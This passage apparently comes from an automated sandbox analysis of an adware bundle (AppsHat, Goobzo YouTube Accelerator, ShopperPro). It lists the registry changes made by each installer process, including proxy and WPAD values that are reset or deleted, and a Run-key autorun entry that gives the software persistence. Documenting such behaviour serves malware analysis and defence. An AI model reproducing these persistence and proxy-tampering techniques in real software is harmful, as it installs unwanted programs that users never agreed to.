"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process YTAHEL~1.EXE:1600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFF85.tmp\AccDownload.dll,"

The process appshat_generic.exe:1584 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "7A 50 E9 FA 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7E 4E AF EF 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:2420 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EA 30 4D DF 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "88 47 7B E2 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3956 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "88 47 7B E2 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "DB 4D AE E4 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3516 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "88 47 7B E2 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "DD 58 C1 E4 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:1664 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "13 85 E2 D4 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "11 FD 12 D8 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:820 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EA 30 4D DF 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "C7 84 76 E2 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:1900 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "13 85 E2 D4 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "B7 3B 33 D7 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cscript.exe:3460 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "24 85 DC 00 24 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayVersion" = "2.13"
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico"

"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\uninstall.exe _?=C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat"
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]
"DisplayName" = "AppsHat"
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 61 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\WebPlayer]
"AppsHat" = "1"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:3656 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:1596 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "FA 63 A5 97 74 49 4B 15 52 A1 4F B9 B1 9B 72 33"

The process wscript.exe:1580 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

